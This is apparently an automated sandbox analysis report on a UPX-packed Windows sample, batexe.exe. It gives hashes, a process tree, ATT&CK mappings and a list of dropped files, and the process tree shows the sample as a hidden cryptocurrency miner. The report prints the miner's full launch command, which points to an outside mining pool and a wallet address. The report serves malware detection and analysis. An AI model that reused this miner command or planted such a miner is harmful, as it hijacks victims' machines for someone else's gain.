73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
296s
max time network
299s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
12/02/2024, 07:35

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
648	b2e.exe
3304	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3304	cpuminer-sse2.exe
3304	cpuminer-sse2.exe
3304	cpuminer-sse2.exe
3304	cpuminer-sse2.exe
3304	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4256-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4256 wrote to memory of 648	4256	batexe.exe	74
PID 4256 wrote to memory of 648	4256	batexe.exe	74
PID 4256 wrote to memory of 648	4256	batexe.exe	74
PID 648 wrote to memory of 4860	648	b2e.exe	75
PID 648 wrote to memory of 4860	648	b2e.exe	75
PID 648 wrote to memory of 4860	648	b2e.exe	75
PID 4860 wrote to memory of 3304	4860	cmd.exe	78
PID 4860 wrote to memory of 3304	4860	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4256
- C:\Users\Admin\AppData\Local\Temp\1335.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\1335.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\1335.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:648
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\19AD.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4860
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\1335.tmp\b2e.exe

Filesize
1.9MB

MD5
db5c09852a9dce74cc260d402b8487bb

SHA1
7f53cb14088c23cb2140e52b245535100dfbea85

SHA256
e7a5f75e6901b233b87b806134d5bea194e44705f263f86f471c89fd16d9e262

SHA512
83f204c1b641a7c4e33b91cad2fe52c450637ff5653a8d98709d728f7930e9a9e13ceb974c2cf8e622f5ded0766ec86ca01684e3af80f6fd00100c27f36df133

Download Submit
C:\Users\Admin\AppData\Local\Temp\1335.tmp\b2e.exe

Filesize
2.5MB

MD5
036497c24473beb8f8d9c1212358ce98

SHA1
f7c4570c19b506d7d59b05bc264c6009b193aff7

SHA256
4c4fa0ace372c5556c189efdf8aa36f3335d0cc94397c7f26f029cfa517f471a

SHA512
7b15dac4c0c30e115f1f9cac684b6b1bf7797515b0b88b4ecf3107910a1f062cdc4280ef9aeb80274d3d9750b5f4ae55177302bfcfd71f801155f1ee80d950e1

Download Submit
C:\Users\Admin\AppData\Local\Temp\19AD.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
738KB

MD5
87e34e3a5b6ebe1904186e7f860bbfad

SHA1
d4ee74cd16566aa3b422fc9e16cf025643704994

SHA256
6bacad1f1192b820440be5f0fe01b96d0e84f5aaf0c1582e06088cbede37b9c4

SHA512
a6c902fd1cf464c60781b5fbf28ae6c4f2a5c85eaab620ffd85e372c267a2bf2556b196d378456da40f46c94bc04ec2e7731727c19ac45a60856e03f9e3bd267

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
748KB

MD5
65ae21bfbd0d0221306ff7fddd58f46c

SHA1
aec89bebd4656c3f379a5eb6c83feda4c26c06d5

SHA256
906d7e2a1972e71e061b1ecc9ff54b67719c90bedf34a4caf3a34c10749ed1d6

SHA512
dabcd98c4a869c510542c50fe22b0aff7f0c4ed18878313b16ee28b247f2aee93fceda2fe5470bb18a59356d5c7e1b6f5098566e7c8403de5a711859f4d25d1c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
704KB

MD5
ecb92b50b30e6492a14b6102ca1fd4c2

SHA1
758fa80d1b674ecda5468717ea7cb2387ab0cefb

SHA256
aaba52604f8cb66beb3009e0aee922fba6138175039bc2d0756958144a7dfac2

SHA512
8c276fc78bac795fe9694712764e920e5fda7452ecfbecc938b50321a08d5d6c6d5b747fefe2f59240f8ecfc19b24e5f39bc45cd8d0845590429ed1327b39690

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
886af5c6664aa8e7199c984cfbaf11f7

SHA1
8b1b50dc288cbfcf980730bde3b2c6e4968bff31

SHA256
d79df4eb040b567c5fd7fa83a7a74fbe99e4e5653626e0e81b99f1c2d863b288

SHA512
ae353750c1ba13b776c90151f93028f4abe472ceb0a9cf2037eec1c620716d5aa911c6dd4586c9e4b70f70ad7b0e616bd29e3823c2d5a413c14ab419aed08be2

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
829KB

MD5
bbc3f478d40c5aaebc525f006c445559

SHA1
e14639b946d34436364e258b3c88374a4be34334

SHA256
3cfdb715fdc561445b0395f279f5acb9f8ef31ac81bc53d6c4c8f3c4d9d50c82

SHA512
21ecdf8ea94a38a038962288709118799f130908e6c3798d0d800ea96c0afa0c3f9c025325280c7da500ba3722f5c2e829f3d46c2db97d4c70fe09304f065b6e

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
891KB

MD5
3fce08d92bcec7620d0dcb46838bdf18

SHA1
944d343bf6ecd021f6b787dd7b3fdb7c829c215b

SHA256
9f3f0f616b36fb896e84a8fccb50a4386b65752580f43c2e100f1d6e2034732e

SHA512
143be6368864c1a9a4b48c476d3b88b93c30ade0c74a607032c19dc6d937f4df200c9df0b36601e0b4973166d5695b0c3a1c05a3455ad3b5b563cddc644ecd1d

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
f6b1e0bb10a6948763ae0f8a07849ae9

SHA1
1ab24e0cc9b38e80081d61ff1a9ccfbb3110b5f2

SHA256
d0d32666aa761d4b86587a084a744b29ec0b82a20e7de072a44a8b061ab10baa

SHA512
900721794f11c3d9f542aff0e1ff324ff74c8c8f16316846add4205cbc5e872986452264b5bbea3132e563993692e4a7811e08ce1f18359a95b9c9c066cfccc4

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
769KB

MD5
93e1e297d7b017bb7d18ea617fc82fcf

SHA1
74002734bdef9f3231647355aa8be6dd0f7423f5

SHA256
66b9cec1103a321b0567c31717ae1109e7baf15d303f939f90effc74548a2da1

SHA512
7f89996a8d850a016973004f958794c48a5219ae6a3ca38e5232421a751209a79f5ae575199cd488fb5db91966d9d05fdfc7d4fd90a3e072367b0972f33083be

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/648-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/648-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3304-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3304-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3304-44-0x0000000000EE0000-0x0000000002795000-memory.dmp

Filesize
24.7MB

Download
memory/3304-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-43-0x0000000068830000-0x00000000688C8000-memory.dmp

Filesize
608KB

Download
memory/3304-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4256-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download